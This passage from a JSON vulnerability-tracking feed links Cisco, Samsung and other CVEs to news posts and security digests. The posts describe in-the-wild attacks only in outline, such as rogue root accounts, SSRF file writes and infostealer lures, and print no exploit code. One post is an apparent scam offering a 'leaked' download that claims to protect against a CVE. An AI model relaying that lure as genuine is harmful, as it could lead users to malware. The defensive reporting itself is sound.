Kerberos information [\u2026]", "creation_timestamp": "2026-06-24T18:58:09.054809Z"}, {"uuid": "85fdef98-bf4e-45fa-8185-5282340e459f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mp2vh3lqsq2c", "content": "\ud83e\udd16 CVE-2026-20245: Cisco SD-WAN zero-day exploited in the wild. Attackers used rogue peering to create root accounts and gain admin access. Mandiant technical report.\nhttps://www.bleepingcomputer.com/news/security/mandiant-reveals-how-cisco-sd-wan-zero-day-attacks-gained-root-access/", "creation_timestamp": "2026-06-24T21:49:38.212917Z"}, {"uuid": "e441ebda-f188-4cb2-944c-1b1385a18134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mp2ucypvgo2d", "content": "New details have been revealed on how hackers exploited a Cisco Catalyst SD-WAN vulnerability tracked as CVE-2026-20245 in zero-day attacks to create rogue root accounts on targeted devices.", "creation_timestamp": "2026-06-24T21:29:27.472305Z"}, {"uuid": "fac9c8e5-3cd4-47fe-a73e-a9a89e0a1eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mp2uhkseit22", "content": "\ud83d\udea8 Breaking: Mandiant reveals how Cisco SD-WAN zero-day attacks gained root access\nNew details have been revealed on how hackers exploited a Cisco Catalyst SD-WAN vulnerability tracked as CVE-2026-20245 in zero-day attacks to create rogue root accounts on\u2026\n\n\ud83d\udd17 https://hnow.live/a/69e203bc", "creation_timestamp": "2026-06-24T21:32:00.559990Z"}, {"uuid": "4c676788-4638-4a7a-8f07-4b9c682574e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mp2wnyhxlh2f", "content": "Cisco Catalyst SD-WAN (CVE-2026-20245)\u306e\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u3001\u653b\u6483\u8005\u304croot\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u596a\u53d6\u3059\u308b\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002", "creation_timestamp": "2026-06-24T22:11:23.498438Z"}, {"uuid": "8107d9bc-95db-4e3b-85b3-ecd77b4bc279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mp2wv3u67p2o", "content": "Mandiant says CVE-2026-20245 in Cisco Catalyst SD-WAN enabled zero-day attacks that escalated privileges, created a rogue root account named troot, and used malicious CSV uploads to hide intrusion traces. #Cisco #SDWAN #Mandiant", "creation_timestamp": "2026-06-24T22:15:22.036108Z"}, {"uuid": "c3b60750-c663-456f-90fd-9f47f6ed03e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mp2xoge6vk27", "content": "Cisco Unified CM flaw CVE-2026-20230 now exploited in attacks\n\nA high-severity SSRF vulnerability, tracked as CVE-2026-20230, in Cisco Unified Communications Manager Server is now being exploited in attacks. [...]\n#hackernews #news", "creation_timestamp": "2026-06-24T22:29:32.314347Z"}, {"uuid": "ee0293a1-5d46-49ba-a463-ab077bf93623", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mp2xzavjci2x", "content": "In early 2026, Mandiant reported a threat actor exploiting a zero-day vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager, allowing privilege escalation to root access through a malicious CSV upload.", "creation_timestamp": "2026-06-24T22:35:35.412492Z"}, {"uuid": "1fb2a706-c228-435c-93e3-a5d0ec12296d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/eurotrends24.bsky.social/post/3mp2yyido3h2o", "content": "JUST RELEASED: Exclusive video clip on how to protect your network from the Cisco Unified CM flaw CVE-2026-20230 - Watch now and stay safe! \u2b07\ufe0f\u2699\ufe0f #cybersecurity", "creation_timestamp": "2026-06-24T22:53:04.747998Z"}, {"uuid": "33f64846-5d28-4e3c-bb6e-c2dda21d495d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/k3live.bsky.social/post/3mp2yz5iunu2z", "content": "LEAKED: Immediate download update available for the premium mod menu tool to safeguard against CVE-2026-20230 - Get it before it's too late! \u2b07\ufe0f", "creation_timestamp": "2026-06-24T22:53:25.943624Z"}, {"uuid": "f6e3ac55-870e-47b2-96c6-5461ace84324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mp2zfijjv227", "content": "Samsung KNOX Kernel UAF Exposes Millions of Galaxy Devices\n\nSamsung\u2019s KNOX flaw (CVE-2026-20971) is a kernel UAF in PROCA/FIVE that can enable corruption via a race; Samsung patched it in Jan 2026. Experts found a nasty kernel flaw in Samsung\u2019s KNOX stack, and the uncomfo\u2026\n#hackernews #news #samsung", "creation_timestamp": "2026-06-24T23:00:19.889545Z"}, {"uuid": "2a9cc4e7-d5e9-4fe0-a362-5003a6207fc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mp36gixipf2o", "content": "Mandiant reported a 2026 attack on Cisco Catalyst SD-WAN Manager using rogue peering, SSH access, and CVE-2026-20245 to gain root access, steal configs, and erase traces. #Cisco #SDWAN #Mandiant", "creation_timestamp": "2026-06-25T00:30:22.367185Z"}, {"uuid": "8d64b185-ac4d-4fda-be6d-216bf9815b7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mp36mqeabi2c", "content": "Cisco Unified CM\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3001Web\u30b7\u30a7\u30eb\u304c\u30c9\u30ed\u30c3\u30d7\u3055\u308c\u308b\uff08CVE-2026-20230\uff09 \n\nCisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230)  #HelpNetSecurity (Jun 24)\n\nwww.helpnetsecurity.com/2026/06/24/c...", "creation_timestamp": "2026-06-25T00:33:51.404416Z"}, {"uuid": "598d63e1-3752-45e1-8e94-2b99b4ea39ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://thehackernews.com/2026/06/cisco-unified-cm-flaw-exploited-after.html", "content": "Threat actors have begun to exploit a recently disclosed critical security flaw impacting Cisco Unified Communications Manager (Unified CM) and Unified Communications Manager Session Management Edition (Unified CM SME).\n\nThe vulnerability, tracked as CVE-2026-20230 (CVSS score: 8.6), is a case of improper input validation for specific HTTP requests that could allow an unauthenticated, remote", "creation_timestamp": "2026-06-25T01:00:40.690736Z"}, {"uuid": "429a86cd-bf33-492b-97bf-80fb2ea68d20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://threatintel.cc/2026/06/24/morning-cyber-summary.html", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel Attacks\n\nSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/\nResearchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel’s process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.\n\nMythos Discovers ‘Squidbleed,’ a Memory Leak That’s Gone Undetected Since Clinton Era\n\nSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/\nA 29-year-old vulnerability dubbed “Squidbleed” (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic’s Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.\n\nFortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s Suomessa\n\nSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessa\nThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.\n\nCVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.\n\nSource URL: https://isc.sans.edu/diary/rss/33094\nDespite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.\n\nNew macOS ClickFix Attack Silently Mounts DMGs to Push Infostealer\n\nSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/\nA novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.\n\n‘Cordyceps’: Mushrooming Malicious Pull Requests Threaten Developer Workflows\n\nSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflows\nDubbed “Cordyceps,” a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.\n\nThe Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration\n\nSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/\nPalo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization’s active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.\n\nLastPass Confirms Data Breach in Klue Supply Chain Attack\n\nSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/\nLastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.\n\nTata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear Online\n\nSource URL: https://therecord.media/tata-electronics-confirms-cyberattack\nIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group “World Leaks,” who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.\n\nPayouts King Ransomware Initial Access Broker Deploys New Edgecution Malware\n\nSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecution\nZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed “Edgecution,” deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.\n\nAI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance Warns\n\nSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/\nAn international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.\n\n14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDI\n\nSource URL: https://www.nippon.com/en/news/yjj2026062301023/\nJapanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.\n\nActive Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level Risk\n\nSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/\nThreat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco’s Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-25T01:00:40.944572Z"}, {"uuid": "04594e82-eede-410e-a059-8e9e0bfb0d88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://threatintel.cc/2026/06/24/morning-cyber-summary.html", "content": "Eight-Year-Old Samsung KNOX Flaw Exposed Millions of Galaxy Devices to Kernel Attacks\n\nSource URL: https://www.securityweek.com/eight-year-old-samsung-knox-flaw-exposed-millions-of-galaxy-devices-to-kernel-attacks/\nResearchers disclosed a high-severity use-after-free (UAF) race condition flaw (CVE-2026-20971, CVSS 7.8) affecting Samsung Galaxy S9 through S25 devices. The bug resides in the interaction between the kernel’s process authenticator (PROCA) and its integrity subsystem (FIVE), leaving a tiny preemption window open during child process spawning that attackers can exploit to compromise the kernel.\n\nMythos Discovers ‘Squidbleed,’ a Memory Leak That’s Gone Undetected Since Clinton Era\n\nSource URL: https://www.theregister.com/security/2026/06/23/mythos-discovers-squidbleed-a-memory-leak-thats-gone-undetected-since-clinton-era/\nA 29-year-old vulnerability dubbed “Squidbleed” (CVE-2026-47729) was discovered in the popular open-source caching proxy server Squid using Anthropic’s Claude Mythos Preview AI. The flaw silently leaks users' plaintext HTTP requests, credentials, and session tokens, posing significant data exposure risks across enterprise networks and older legacy environments. It was resolved in version 7.6.\n\nFortiBleed-kyberhy\u00f6kk\u00e4yskampanjan vaikutukset n\u00e4kyv\u00e4t my\u00f6s Suomessa\n\nSource URL: https://www.kyberturvallisuuskeskus.fi/fi/uutiset/fortibleed-kyberhyokkayskampanjan-vaikutukset-nakyvat-myos-suomessa\nThe global FortiBleed cyberattack campaign heavily impacts Fortinet FortiGate firewalls and SSL-VPN appliances using previously leaked or stolen credentials. The Finnish National Cyber Security Centre (Kyberturvallisuuskeskus) has begun mapping targeted organizations across Finland and releasing remediation guidelines to counter ongoing unauthorized access attempts.\n\nCVE-2024-40766: The Patch Fixed the Bug. Nobody Fixed the Configuration.\n\nSource URL: https://isc.sans.edu/diary/rss/33094\nDespite a 2024 patch for an improper access control flaw (CVE-2024-40766, CVSS 9.3) impacting SonicWall Gen 5, 6, and 7 firewalls, ransomware operators continue to successfully compromise networks due to unmanaged configurations. The vulnerability targets the management interface and SSLVPN services, allowing threat actors to drop entire networks or gain complete device control.\n\nNew macOS ClickFix Attack Silently Mounts DMGs to Push Infostealer\n\nSource URL: https://www.bleepingcomputer.com/news/security/new-macos-clickfix-attack-silently-mounts-dmgs-to-push-infostealer/\nA novel macOS ClickFix social engineering campaign tricks users into running malicious Terminal commands via fake CAPTCHA verification prompts. Upon execution, the script uses the native hdiutil utility to silently download, mount, and execute a disk image (DMG) bundle containing the Atomic macOS Stealer (AMOS), harvesting browser credentials, system Keychains, and crypto wallet data.\n\n‘Cordyceps’: Mushrooming Malicious Pull Requests Threaten Developer Workflows\n\nSource URL: https://www.darkreading.com/application-security/cordyceps-malicious-pull-requests-developer-workflows\nDubbed “Cordyceps,” a newly identified architectural weakness within automated CI/CD pipelines allows malicious pull requests to compromise software supply chains. By exploiting overly permissive access controls in automated pre-merge testing workflows, attackers can execute command injection to hijack highly privileged signing keys and access tokens.\n\nThe Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration\n\nSource URL: https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/\nPalo Alto Networks Unit 42 uncovered a structural flaw across AWS, Google Cloud, and Microsoft Azure involving global namespace collision. Attackers can silently hijack an organization’s active cloud data streams by anticipating, deleting, and immediately recreating targeted storage buckets under their own control, leaving minimal detection signatures during data exfiltration.\n\nLastPass Confirms Data Breach in Klue Supply Chain Attack\n\nSource URL: https://www.bleepingcomputer.com/news/security/lastpass-confirms-data-breach-in-klue-supply-chain-attack/\nLastPass suffered a security breach impacting its corporate Salesforce environment after threat actors stole OAuth tokens from Klue, a third-party market intelligence platform. While customer password vaults and internal core infrastructure remain fully isolated and untouched, the attackers successfully extracted internal corporate CRM data, customer names, and support log information.\n\nTata Electronics Confirms Cyberattack After Alleged Apple, Tesla Documents Appear Online\n\nSource URL: https://therecord.media/tata-electronics-confirms-cyberattack\nIndian manufacturing giant Tata Electronics confirmed a recent network breach following claims by extortion group “World Leaks,” who published stolen documents allegedly detailing proprietary client data from Apple and Tesla. Tata maintains that the incident was isolated, successfully contained, and has caused zero operational downtime.\n\nPayouts King Ransomware Initial Access Broker Deploys New Edgecution Malware\n\nSource URL: https://www.zscaler.com/blogs/security-research/payouts-king-ransomware-initial-access-broker-deploys-new-edgecution\nZscaler ThreatLabz isolated a stealthy delivery mechanism dubbed “Edgecution,” deployed by initial access brokers linked to the Payouts King ransomware family. The attack abuses a malicious Microsoft Edge browser extension that manipulates the Chrome native messaging protocol to bypass browser sandboxing entirely, triggering arbitrary local file system modification and execution.\n\nAI Models Capable of Launching Major Cyberattacks Months Away, Five Eyes Alliance Warns\n\nSource URL: https://www.cybersecuritydive.com/news/ai-cyberattacks-five-eyes-frontier-models-warning/\nAn international intelligence coalition comprising the United States, United Kingdom, Canada, Australia, and New Zealand issued a joint advisory warning that advanced frontier AI models are rapidly collapsing offensive cyber timelines. The group cautioned corporate boards and infrastructure operators that AI-driven exploitation capabilities will outpace standard enterprise defenses in a matter of months rather than years, vastly lowering technical barriers for automated network intrusions.\n\n14 Million Email Accounts Exposed in Cyberattack on Japanese Telecom Giant KDDI\n\nSource URL: https://www.nippon.com/en/news/yjj2026062301023/\nJapanese telecommunications provider KDDI Corp. disclosed a massive data breach targeting its email infrastructure utilized by several domestic internet service providers. The cyberattack, which exploited zero-day vulnerabilities in a third-party software component embedded in the email system, has potentially exposed up to 14.22 million user email addresses and encrypted passwords across major partner networks including JCOM, Biglobe, and Nifty.\n\nActive Exploitation of Cisco Unified Communications Manager Flaw Triggers Root-Level Risk\n\nSource URL: https://thehackernews.com/2026/06/23/attackers-exploit-cisco-unified-cm-flaw-weeks-after-patch-release/\nThreat intelligence teams detected active, in-the-wild exploitation of a critical server-side request forgery (SSRF) flaw in Cisco’s Unified Communications Manager and Session Management Edition. Tracked as CVE-2026-20230 (CVSS 8.6), the bug allows unauthenticated, remote attackers to send crafted HTTP requests to the WebDialer service, enabling them to write arbitrary files directly to the underlying operating system and escalate privileges to root.", "creation_timestamp": "2026-06-25T01:00:41.214334Z"}, {"uuid": "fb50d16e-a304-491b-9eb4-c1df187ed8a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mp3du45u2c2i", "content": "Cisco Unified Communications Manager\u306eSSRF \u8106\u5f31\u6027 CVE-2026-20230 \u304c\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u3067\u60aa\u7528\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #cyberattack #incident", "creation_timestamp": "2026-06-25T02:07:30.329406Z"}, {"uuid": "36ce4552-c4e6-4652-af45-fe0758eb3f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mp3f5lq7nf2t", "content": "Top 3 CVE for last 7 days:\nCVE-2026-55200: 44 interactions\nCVE-2026-47729: 18 interactions\nCVE-2026-50656: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-55200: 35 interactions\nCVE-2026-20230: 8 interactions\nCVE-2026-20245: 7 interactions\n", "creation_timestamp": "2026-06-25T02:30:39.449386Z"}, {"uuid": "4ba6107e-cbc5-41eb-b932-cdd1cce74160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mp3f5lq7nf2t", "content": "Top 3 CVE for last 7 days:\nCVE-2026-55200: 44 interactions\nCVE-2026-47729: 18 interactions\nCVE-2026-50656: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-55200: 35 interactions\nCVE-2026-20230: 8 interactions\nCVE-2026-20245: 7 interactions\n", "creation_timestamp": "2026-06-25T02:30:39.488979Z"}, {"uuid": "1e68b9da-58e6-40cc-8692-4ee14677aa13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mp3homds3s2v", "content": "Samsung KNOX Flaw Exposed Galaxy Devices for Eight\u00a0Years\n\nSamsung's KNOX security mechanism held a bug for almost eight years. Through it, an ordinary app could corrupt Android kernel memory. The flaw, CVE-2026-20971, reached a wide range of Galaxy phones. The affected models run from the S9 to the\u2026", "creation_timestamp": "2026-06-25T03:15:58.849519Z"}, {"uuid": "0952deb0-f2f6-46a2-af70-83ad8727731e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20245", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mp3l46ii2d2n", "content": "\ud83d\udcf0 Mandiant Ungkap Taktik Eksploitasi Zero-Day Cisco SD-WAN, Peretas Berhasil Dapatkan Akses Root\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/25/mandiant-ungkap-eksploitasi-zero-day-cisco-sd-wan-cve-2026-20245/\n\n#cisco #cve-2026-20245 #dataBreach #eksploitasi #keamananSiber #", "creation_timestamp": "2026-06-25T04:17:14.952679Z"}, {"uuid": "c3f227ba-9d71-4b31-a751-d29b0d409b7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mp3lwfrxxcj5", "content": "Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild https://securityaffairs.com/194153/uncategorized/cisco-unified-cm-flaw-cve-2026-20230-actively-exploited-in-the-wild.html", "creation_timestamp": "2026-06-25T04:31:54.893915Z"}, {"uuid": "b4b1773f-ef9f-48c2-ab45-3b06f7dbcd33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mp3nokyb6w23", "content": "Daily IT Security Digest \u2014 2026-06-25\n# Daily IT Security Digest \u2014 2026-06-25\n\n## 1. Cisco Catalyst SD-WAN Manager Zero-Day Exploited in the Wild (CVE-2026-20262)\n\nA critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager is being actively exploited. Attackers with write access can", "creation_timestamp": "2026-06-25T05:03:19.108940Z"}, {"uuid": "284f5668-91da-400c-81fd-d684cf3819d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mp3nolaxnp2l", "content": "Daily IT Security Digest \u2014 2026-06-25\nroot via crafted HTTP requests. CISA has published an emergency directive urging organizations to patch immediately and review access controls. Mandiant also confirmed separate zero-day exploitation of CVE-2026-20245 in the same product line.\n\n-", "creation_timestamp": "2026-06-25T05:03:19.646921Z"}, {"uuid": "e0a2c5af-c308-4c26-aa83-a8224b7a569a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20271", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mswzrfiwd724", "content": "\ud83d\udccc CVE-2026-20271 - As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XE Software engineering team has conducted a comprehens... https://www.cyberhub.blog/cves/CVE-2026-20271", "creation_timestamp": "2026-08-13T06:37:07.074308Z"}, {"uuid": "019ea11e-b661-4dce-99c6-913aca58d630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mp3qoazdj532", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access An unknown threat actor exploited a recently disclosed high-severity security flaw impacting Cisco Catalyst SD-WAN as a z...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-25T05:56:54.726643Z"}, {"uuid": "58670951-3f1d-4838-b958-dbd944322e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mp3qrmeu462c", "content": "\ud83e\udd16 CVE-2026-20245 (CVSS 7.8): Cisco Catalyst SD-WAN 0-day exploited in the wild since April. Mandiant: rogue root accounts via rogue peering. Patch available.\nhttps://www.bleepingcomputer.com/news/security/mandiant-reveals-how-cisco-sd-wan-zero-day-attacks-gained-root-access/", "creation_timestamp": "2026-06-25T05:58:42.562289Z"}, {"uuid": "75081b98-e730-4b6b-a802-a7d8106541bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mp3qwj5pzj2b", "content": "Cisco Catalyst SD-WAN \u306e\u8106\u5f31\u6027 CVE-2026-20245 \u304croot\u6607\u683c\u306b\u60aa\u7528\u3055\u308c\u308b\n\nMandiant\u304c\u3001Cisco 